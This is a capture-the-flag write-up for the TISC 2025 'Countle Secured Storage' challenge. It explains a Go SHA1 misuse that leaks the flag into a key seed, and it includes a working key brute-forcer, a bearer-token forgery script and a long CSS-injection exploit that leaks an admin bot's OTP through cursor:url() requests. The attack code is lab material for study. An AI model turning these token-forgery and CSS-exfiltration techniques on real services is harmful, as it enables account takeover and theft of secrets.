Countle Secured Storage

Deep within Mount Countle, thousands of expert gophers have constructed what is believed to be an impenetrable vault for SPECTRE’s most classified secrets. Recent intel has revealed blueprints for an adjacent “admin_bot” service, but the inner workings of “Countle Secured Storage” remains shrouded in mystery. http://chals.tisc25.ctf.sg:23196 Attached files: countle-secured-storage.zip

This is a reversing/web challenge. The distributed file contains a backend component and an admin bot component. Let’s first play around with the site.

We can register a vault, specifying its vault ID, security key, vault description, and vault data. Successful registration redirects us to the vault profile page, where we can see the vault we have just created.

Here, the vault ID (@somevaultid) and vault description is visible. The vault data is hidden and will only be revealed after we unlock the vault. This requires us to provide an OTP via a Countle game. It’s not clear how we can retrieve the OTP at this point.

There is no logout functionality, but we can create a new vault any time. We can also access another vault by entering the vault ID and the security key. This is essentially a username/password pair.

Without any other leads, let’s take a look at the server binary to figure out how it works. The backend binary is a non-stripped Golang Gin server. Reversing it is similar to Level 5, but this time there are a lot more endpoints. I’ll only explain the endpoints relevant to solving the challenge.

1
2
3
4
5
6
7
8
9
10
11
12
13
POST /api/register - creates a new vault
POST /api/login - login to an existing vault

GET /api/me - views profile data of current user
GET /api/profile/<username> - retrieves profile data of another user. also adds a view to their list of profile views.
GET /api/views - gets the list of profile views

POST /api/update_style - update the color of the username on vault profile page

GET /api/vault/unlock/request - initialize OTP
POST /api/vault/unlock/attempt - submit OTP (via Countle)

POST /api/vault/check - trigger admin_bot for current user

Endpoints are authenticated by bearer token

Firstly, when a new vault is registered at POST /api/register, a corresponding admin account is created. This username of this admin account is admin_ concatenated with the user’s name. Only alphanumeric usernames are allowed so it is impossible to impersonate an admin account. The admin account’s password is a random string. Their vault secret is the flag.

Next, in order to read a vault’s secret, we must pass a two-layer OTP check. We can request the server to generate an OTP with GET /api/vault/unlock/request. However, this OTP is never returned to the user. In order to pass the OTP check, we must submit the correct OTP to POST /api/vault/unlock/attempt twice in a row. After every OTP submission (correct or wrong), the OTP is reset.

The OTP is a 4 digit number. In order to submit an OTP, we must create the OTP number by playing Countle. To those unfamiliar with the game, I recommend you try it out first. Otherwise, here are the essential rules: you are given a list of starting numbers and a target number. We must reach the target number by combining the starting numbers using basic arithmetic operations (plus minus times divide). Intermediate values generated by the operations can be used in subsequent operations. We can only use each number (starting and intermediate) once. In this case, the target for the Countle game is the OTP, but again, we do not know its value.

Another caveat is that the starting numbers for the Countle OTP are the same every time. In fact, these numbers are specially chosen so that any 4 digit number can be generated from them.

So, the challenge idea is: bypass authentication to login to admin account, then leak OTP from the server and solve the Countle game twice in order to retrieve the flag. We haven’t covered the POST /api/update_style and POST /api/vault/check endpoints but we’ll come back to that later. Let’s first see how we can achieve authentication bypass.

Authentication Bypass

This is the codeflow for authentication.

1
2
3
4
main_HandleLogin() / main_HandleRegister()
-> main_getToken()
	-> main_encrypt(username)
		-> AES_GCM(username, key=main_key, nonce=random bytes)

The username is encrypted using AES-GCM with key=main_key. main_key is generated in main_generateKey(), which is called on server initialization. Here is the reconstructed code:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
func generateKey() [16]byte {
	// Get FLAG environment variable
	flag := os.Getenv("FLAG")
	if flag == "" {
		panic("FLAG environment variable not set")
	}

	// Convert flag to bytes and compute SHA1 hash
	flagBytes := []byte(flag)
	hash := sha1.Sum(flagBytes)

	// Use first 8 bytes of hash as seed for random number generator
	seed := binary.LittleEndian.Uint64(hash[:8])
	
	// Create and seed the random number generator
	rng := rand.New(rand.NewSource(int64(seed)))

	// First loop: generate 256 random numbers (warming up the RNG)
	for i := 0; i < 256; i++ {
		rng.Int63()
	}

	// Second loop: generate 16 bytes for the key
	var key [16]byte
	for i := 0; i < 16; i++ {
		key[i] = byte(rng.Int63())
	}

	return key
}

Looks pretty secure… In fact, what I have presented you so far is secure. However, the devious part of this challenge is in the sha1.Sum() call. Let’s look at the disassembly:

1
2
3
4
5
6
7
8
9
10
.text:0000000000D9FFB3                 mov     rdi, rcx        ; in
.text:0000000000D9FFB6                 mov     rcx, rbx        ; in
.text:0000000000D9FFB9                 mov     rbx, rax        ; _r0
.text:0000000000D9FFBC                 lea     rax, [rsp+110h+d] ; d
.text:0000000000D9FFC1                 call    crypto_sha1__ptr_digest_Sum
.text:0000000000D9FFC6                 cmp     rcx, 8
.text:0000000000D9FFCA                 jb      loc_DA0129
.text:0000000000D9FFD0                 mov     rcx, [rax]
.text:0000000000D9FFD3 hash = rax                              ; _slice_uint8_0
.text:0000000000D9FFD3                 mov     [rsp+110h+seed], rcx

I suspect even the most veteran of Go experts won’t be able to spot the vulnerability here. Let’s run through the code in gdb at place a breakpoint at the seed assignment after the sha1.sum() call. We should expect to see the SHA1 hash of the flag in rcx.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
(gdb) set environment FLAG=AABBCCDDEEFF
(gdb) b *0xD9FFD3
(gdb) r

...

$rax   : 0x000000c0001d3d20  →  0x4444434342424141 ("AABBCCDD"?)
$rbx   : 0x20
$rcx   : 0x4444434342424141 ("AABBCCDD"?)
$rdx   : 0xc
$rsp   : 0x000000c0001d3cf0  →  0x000000c0001d3d58  →  0xefcdab8967452301
$rbp   : 0x000000c0001d3df8  →  0x000000c0001d3e18  →  0x000000c0001d3f40  →  0x000000c0001d3fd0  →  0x0000000000000000
$rsi   : 0x000000c0001d3c4c  →  0x0d4b6b5eeea339da
$rdi   : 0x000000c0001d3d2c  →  0x0d4b6b5eeea339da
$rip   : 0x0000000000d9ffd3  →  <main[generateKey]+00d3> mov QWORD PTR [rsp+0x60], rcx
$r8    : 0x40
$r9    : 0xf436ac5
$r10   : 0x200080
$r11   : 0x67452301
$r12   : 0xefcdab89
$r13   : 0x98badcfe
$r14   : 0x000000c000002380  →  0x000000c0001d2000  →  0x000000c0001d4000  →  0x0000000000000000
$r15   : 0xc3d2e1f0
$eflags: [zero carry PARITY ADJUST sign trap INTERRUPT direction overflow resume virtualx86 identification]
$cs: 0x33 $ss: 0x2b $ds: 0x00 $es: 0x00 $fs: 0x00 $gs: 0x00
────────────────────────────────────────
     0xd9ffc6 <main[generateKey]+00c6> cmp    rcx, 0x8
     0xd9ffca <main[generateKey]+00ca> jb     0xda0129 <main.generateKey+553>
     0xd9ffd0 <main[generateKey]+00d0> mov    rcx, QWORD PTR [rax]
 →   0xd9ffd3 <main[generateKey]+00d3> mov    QWORD PTR [rsp+0x60], rcx
     0xd9ffd8 <main[generateKey]+00d8> nop
     0xd9ffd9 <main[generateKey]+00d9> nop
     0xd9ffda <main[generateKey]+00da> lea    rax, [rip+0x1725ff]        # 0xf125e0
     0xd9ffe1 <main[generateKey]+00e1> call   0x41a4a0 <runtime.newobject>
     0xd9ffe6 <main[generateKey]+00e6> mov    QWORD PTR [rsp+0x100], rax

But instead, we find that rcx is the plaintext flag! The sha1.sum() call was a no-op!

I didn’t figure out why that was the case during the CTF, but after talking to the challenge author jro, he kindly explained the setup to me. Let’s first look at the correct SHA1 usage.

1
hash := sha1.Sum([]byte(flag))

The challenge uses:

1
2
h := sha1.New()
hash := h.Sum([]byte(flag))

This is actually an incorrect usage of the SHA1 function. Looking at the documentation, New() returns a hash.Hash object. This interface includes the method:

1
2
3
	// Sum appends the current hash to b and returns the resulting slice.
	// It does not change the underlying hash state.
	Sum(b []byte) []byte

As the comment states, this function does not change the underlying hash state, merely appending the hash to the supplied byte array. In the challenge’s usage, the newly initialized object has no current hash, so the result of the appending is just the flag itself! Coincidentally, the method name matches the correct method in the sha1 class, making this bug extremely difficult to spot!

I only found this bug after exhausting all possible avenues for traditional web vulnerabilities. I was convinced that there had to be a crypto flaw in order for an admin bypass to be possible. Since I was using IDA 9.1 (and not the most recent 9.2 which has improved Go support), my decompilation wasn’t great so I suspected that the decompilation may be missing something. Thus, I decided to try and recreate the crypto algorithms to verify my understanding. I ran the server locally with a dummy flag and tried to decrypt the bearer tokens it generated. When my decryption attempts failed, I started debugging the crypto code to figure out the discrepancies in the algorithms I replicated. Naturally, I began from the start of the crypto chain, which was the main_key generation algorithm.

Let’s recap what we have. We know that token = AES_GCM(username, key=main_key) and here is the updated generateKey().

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
func generateKey() [16]byte {
	flag := os.Getenv("FLAG")
	flagBytes := []byte(flag)
	seed := binary.LittleEndian.Uint64(flagBytes[:8])
	rng := rand.New(rand.NewSource(int64(seed)))

	for i := 0; i < 256; i++ {
		rng.Int63()
	}

	var key [16]byte
	for i := 0; i < 16; i++ {
		key[i] = byte(rng.Int63())
	}

	return key
}

Only the first 8 bytes of the flag are used for the seed. We know the first 5 bytes of the flag is the prefix TISC{ so there are only 0x100 ** 3 possibilities for the seed. We can harvest a bearer token from the server and then brute-force all seed possibilities to attempt a decryption. If the decryption is successful, then we have found the key. With the key, we can generate tokens for any user, allowing us to authenticate as an admin without knowing its password.

Seed generation:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
package main

import (
	"encoding/hex"
	"fmt"
	"math/rand"
	"os"
	"bufio"
)

func generateKey(seedParam int64) [16]byte {
	// prefix = TISC{
	seed := seedParam * 0x10000000000 + 0x7b43534954
	rng := rand.New(rand.NewSource(int64(seed)))

	for i := 0; i < 256; i++ {
		rng.Int63()
	}

	var key [16]byte
	for i := 0; i < 16; i++ {
		key[15 - i] = byte(rng.Int63())
	}

	return key
}

func main() {
	file, err := os.Create("keys.txt")
	if err != nil {
		fmt.Println("Error creating file:", err)
		return
	}
	defer file.Close()

	writer := bufio.NewWriter(file)

	for b1 := 0x21; b1 <= 0x7e; b1++ {
		for b2 := 0x21; b2 <= 0x7e; b2++ {
			for b3 := 0x21; b3 <= 0x7e; b3++ {
				num := (int64(b1) << 16) | (int64(b2) << 8) | int64(b3)
				key := generateKey(num)
				_, err := writer.WriteString(hex.EncodeToString(key[:]) + "\n")
				if err != nil {
					fmt.Println("Error writing to file:", err)
					return
				}
			}
		}
	}

	writer.Flush()
}

Decryption brute-force:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
from cryptography.hazmat.primitives.ciphers.aead import AESGCM
import os

NONCE_SIZE = 12        # GCM standard
TAG_SIZE   = 16        # GCM tag length (for sanity checks)

def decrypt(token: bytes, key: bytes, aad: bytes | None = None) -> bytes:
    """
    Expects token bytes in form: nonce || ciphertext||tag
    Returns the decrypted plaintext bytes.
    """
    if len(key) not in (16, 24, 32):
        raise ValueError("AES key must be 16, 24, or 32 bytes")
    if len(token) < NONCE_SIZE + TAG_SIZE:
        raise ValueError("token must be of form <12 byte nonce><GCM encrypted data>")

    nonce, ct = token[:NONCE_SIZE], token[NONCE_SIZE:]
    return AESGCM(key).decrypt(nonce, ct, aad)

def validate_token(token_hex: str, key: bytes) -> str:
    """Hex-decodes, decrypts, and returns the original UTF-8 username."""
    token = bytes.fromhex(token_hex)
    plaintext = decrypt(token, key)
    return plaintext.decode("utf-8")

with open("keys.txt", "r") as f:
    done = False
    for i, line in enumerate(f.readlines()):
        if i % 1000 == 0:
            print(f"{i=}")

        key = line.strip()

        t = "0xa6ac3d0c2b2924a739846e42a5af5a999075a0dc1d6f1adffb5b3065032fb5fd0c9a18"[2:]
        try:
            print(validate_token(t, bytes.fromhex(key)[::-1]))
            print(f"{key=}")
            done = True
        except:
            pass

        if done:
            break

OTP leak

Great. Now, we just need to leak OTP in order to unlock the admin’s vault and get the flag. Let’s look at the remaining endpoints.

1
2
POST /api/vault/check - trigger admin_bot for current user
POST /api/update_style - update the color of the username on vault profile page

The check endpoint triggers the admin bot (typical XSS challenge Selenium worker) to visit our vault’s OTP page and solve the OTP. The bot is supplied with the correct OTP directly by the server. It then plays the Countle game to form that OTP, but stops short at submitting the OTP. Our goal is to leak that OTP so that we can replay it.

At the update_style endpoint, you can specify a colour for your vault username. This endpoint is vulnerable to CSS injection. This is a classic attack vector for leaking data. We can use CSS selectors in combination with URL attributes to send requests to a server when the selectors are met, allowing for the exfiltration of information. While the CSP forbids external requests, we can simply send requests to /api/profile/<username> and check the access logs subsequently as an oracle.

The tricky part is that CSS injection relies on HTML attribute values, not inner HTML content. Thus, we are unable to distinguish among the three 1-digit numbers and the two 2-digit numbers. This leaves some uncertainty as to the final number generated. However, this is only 3! x 2! = 12 possible outcomes. In order to pass the OTP twice, we expect to have to try 12 ** 2 = 144 times, which is acceptable.

Here is the final payload.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
from requests import *
import random,string
from requests_toolbelt import MultipartEncoder
import json
from datetime import datetime
from solveKey import gen_token
from copy import deepcopy

url = 'http://chals.tisc25.ctf.sg:23196'
s = Session()

def random_string(length: int):
    return ''.join(random.choice(string.ascii_lowercase) for _ in range(length))

def ppost(route, fields, extra_headers=None):
    global url, s
    boundary = '----WebKitFormBoundary' \
            + ''.join(random.sample(string.ascii_letters + string.digits, 16))
    m = MultipartEncoder(fields=fields, boundary=boundary)

    headers = {
        "Connection": "keep-alive",
        "Content-Type": m.content_type
    }
    if extra_headers is not None:
        headers.update(extra_headers)

    return s.post(url + route, headers=headers, data=m)

def gib_token(username):
    return gen_token(username, bytes.fromhex("4410fd4cf3b82f5ef2904dba34d27f8f")[::-1])

username = "hello" + random_string(6)
print(f"Using {username=}")
fields = {
    'username': username,
    'password': "password",
    "bio": "biotime",
    "secret": "some secret"
}
r = ppost('/api/register', fields)
assert r.status_code == 200
token = json.loads(r.text)["token"]
token = gib_token("admin_" + username)
print(token)

r = s.get(url + "/api/me", headers={"Authorization": token})
assert r.status_code == 200

# init OTP
r = s.get(url + "/api/vault/unlock/request", headers={"Authorization": token})
assert r.status_code == 200

token = gib_token("admin_" + username)
# r = s.get(url + "/api/me", headers={"Authorization": gib_token("admin_" + username)})
# assert r.status_code == 200

# token = "2de0db0e26edd341052f210510f1dee721b03cb13dffb726c8ee90ad29123e9d6e654e1a1838ad"

def gen_source(data):
    payload = ""
    payloads = [
        '.source-cards > button:nth-of-type({i}):is(.number-card--filled:not(.number-card--3-chars):not(.number-card--4-chars):not(.number-card--2-chars)):active {p} ',
        '.source-cards > button:nth-of-type({i}):is(.number-card--filled.number-card--2-chars):active {p} ',
        '.source-cards > button:nth-of-type({i}):is(.number-card--filled.number-card--3-chars):active {p} ',
        '.source-cards > button:nth-of-type({i}):is(.number-card--filled.number-card--4-chars):active {p} '
    ]
    for i in range(1, 7+1):  # position
        for j in range(4):  # digit cnt
            color = data[i-1][j]
            p = f"\{\{cursor: url('{color}'), pointer;}}"
            payload += payloads[j].format(i=i, p=p)

    return payload

def gen_residues(data):
    payload = ""
    template = "div.board > div:not(.source-cards):not(.operators) > div:nth-of-type({i}) > button:nth-of-type(4):active {p} "
    for i in range(1, len(data)+1):  # nth result
        color = data[i-1]
        p = f"\{\{cursor: url('{color}'), pointer;}}"
        payload += template.format(i=i, p=p)

    return payload

def gen_ops(data):
    payload = """
    @keyframes helper {
        0% {
            --pwn-data1: 1;
            --pwn-data2: 1;
            --pwn-data3: 1;
            --pwn-data4: 1;
        }
    }
    body {
        animation: helper 1s infinite steps(1);
    }
    """
    template = """
        @keyframes helper{i} \{\{
            0%, 100% \{\{
                cursor: if(style(--pwn-data{i}: 1): url({url}), pointer;);
            }}
        }}
        div.operators > button:nth-of-type({i}):active \{\{
            animation: helper{i} 1s infinite;
        }}
        """
    for i in range(1, len(data)+1):  # nth result
        color = data[i-1]
        payload += template.format(i=i, url=color)

    return payload

dummy_tokens = []  # (username, token)
def prep_dummies(prefix, cnt):
    global dummy_tokens
    dummy_tokens = []
    for i in range(cnt):
        username = prefix + str(i)
        fields = {
            'username': username,
            'password': "password",
            "bio": "b",
            "secret": "s"
        }
        r = ppost('/api/register', fields)
        assert r.status_code == 200
        token = json.loads(r.text)["token"]
        dummy_tokens.append((username, token))
        # r = s.get(url + "/profile", headers={"Authorization": token})
        # assert r.status_code == 200
        print(dummy_tokens[-1])

# dummy_hit_count = []
def track_dummies():
    # global dummy_hit_count
    # if len(dummy_hit_count) == 0:
    #     dummy_hit_count = [0] * len(dummy_tokens)
    all_views = []
    for i, dummy in enumerate(dummy_tokens):
        token = dummy[1]
        r = s.get(url + "/api/views", headers={"Authorization": token})
        assert r.status_code == 200
        views = json.loads(r.text)["views"]
        if views is None:
            views = []
        views = list(map(lambda v: v["timestamp"], views))
        all_views.append(views)

    return all_views

def attempt(ops):
    fields = {"operations": ops}
    r = s.post(url + '/api/vault/unlock/attempt', headers={"Authorization": token}, json=fields)
    with open("attempts.txt", "a+") as f:
        print(r.text)
        print(r.status_code)
        f.write(r.text + "\n")
        return r.status_code

def bot():
    r = s.post(url + '/api/vault/check', headers={"Authorization": token})
    print(r.text)
    print(r.status_code)

def inject(payload):    
    fields = {"style_color": "#000000;} " + payload + "/*"}
    r = ppost('/api/update_style', fields, {"Authorization": token})
    print(r.text)
    print(r.status_code)

def try_source_nums(records, source_nums) -> None:
    source_nums = deepcopy(source_nums)
    sources = [0] * 7
    for i in range(7):
        for j in range(4):
            if len(records[i*4 + j]) > 0:
                sources[i] = j + 1
                break

    print("Digit guess: ", sources)
    for i in range(7):
        if sources[i] != 0:
            k = sources[i]
            sources[i] = source_nums[k - 1][-1]
            source_nums[k-1].pop()
    source_nums = [x for xs in source_nums for x in xs]
    for i in range(7):
        if sources[i] == 0:
            sources[i] = source_nums[-1]
            source_nums.pop()
    print("Number guess: ", sources)

    # xx = input("gimme real: ")
    # sources = list(map(int, xx.strip().split(",")))

    number_clicks = []
    for i in range(28):
        if records[i]:
            for rec in records[i]:
                dt = datetime.strptime(rec, "%Y-%m-%dT%H:%M:%SZ")
                unix_time = int(dt.timestamp())
                number_clicks.append(("S", i//4, unix_time))

    for i in range(28+4, 28+4+residue_max):
        if records[i]:
            idx = i - (28+4)
            for rec in records[i]:
                dt = datetime.strptime(rec, "%Y-%m-%dT%H:%M:%SZ")
                unix_time = int(dt.timestamp())
                number_clicks.append(("R", idx, unix_time))

    number_clicks = sorted(number_clicks, key=lambda x: x[2])
    print(number_clicks)

    operations = []
    for i in range(28, 28+4):
        v = '+-*/'[i-28]
        if records[i]:
            for rec in records[i]:
                dt = datetime.strptime(rec, "%Y-%m-%dT%H:%M:%SZ")
                unix_time = int(dt.timestamp())
                operations.append((v, unix_time))

    operations = sorted(operations, key=lambda x: x[1])
    print(operations)

    residues = []
    fail = False
    ans = []
    for i, op in enumerate(operations):
        op = op[0]
        t, idx, _ = number_clicks[i*2]
        if t == "S":
            a = sources[idx]
        else:
            a = residues[idx]

        t, idx, _ = number_clicks[i*2+1]
        if t == "S":
            b = sources[idx]
        else:
            b = residues[idx]

        print(f"{a}{op}{b}")

        res = None
        if op == '+':
            op_name = "add"
            res = a + b
        elif op == "-":
            op_name = "sub"
            res = a - b
            if res < 0:
                fail = True
                break
        elif op == '*':
            op_name = "mul"
            res = a * b
        else:
            op_name = "div"
            res = a // b
            if res * b != a:
                fail = True
                break

        residues.append(res)
        ans.append({"op":op_name,"val1":a,"val2":b})

    if fail or len(residues) == 0 or not (1000 <= residues[-1] and residues[-1] <= 9999):
        return None
    
    return ans

def guess(records):
    ans = None
    a=[
        [1,2,4],
        [1,4,2],
        [2,4,1],
        [2,1,4],
        [4,1,2],
        [4,2,1]
    ]
    b=[
        [11,34],
        [34,11]
    ]

    cnt = 0
    source_nums = [
        a[0], b[0], [152], [1007]
    ]
    while ans is None and cnt < 12:
        att = deepcopy(source_nums)
        att[0] = deepcopy(a[cnt % 6])
        att[1] = deepcopy(b[cnt % 2])
        cnt += 1

        tmp = try_source_nums(deepcopy(records), att)
        if tmp is None:
            continue
        ans = tmp

    return ans

residue_max = 10
dummy_cnt = 28 + 4 + residue_max
dummy_prefix = None

def solve():
    global dummy_prefix
    dummy_prefix = random_string(10)
    print(f"creating {dummy_cnt} dummies")
    prep_dummies(dummy_prefix, dummy_cnt)
    print("done creating dummies")

    source_dummies = []
    for i in range(7):
        source_dummies.append([])
        for j in range(4):
            dummy = dummy_tokens[i*4 + j]
            source_dummies[-1].append("/api/profile/" + dummy[0])

    ops_dummies = []
    for i in range(4):
        ops_dummies.append("/api/profile/" + dummy_tokens[28 + i][0])

    residue_dummies = []
    for i in range(residue_max):
        residue_dummies.append("/api/profile/" + dummy_tokens[28 + 4 + i][0])

    payload = gen_source(source_dummies)  # 7 positions, 4 types of digit count
    payload += gen_ops(ops_dummies)  # 4 ops
    payload += gen_residues(residue_dummies)  # allow for up to <residue_max> residues (lol)

    assert len(payload) < 65536

    inject(payload)

    # input("Play on /2fa")
    bot()

    records = track_dummies()
    print(records)

    ans = guess(records)
    if ans is None:
        print("Failed to guess")
        return False

    print("Making attempt...")
    return attempt(ans) == 200

while True:
    print("Trying to solve!")
    res = solve()
    if res:
        res2 = solve()
        if res2:
            print("Win!")
            break

This is a very unique challenge and was my favourite this year.

Flag: TISC{1t_w45_7h3_f1r57_g00gl3_r35ul7_f0r_c55_54n171z3r}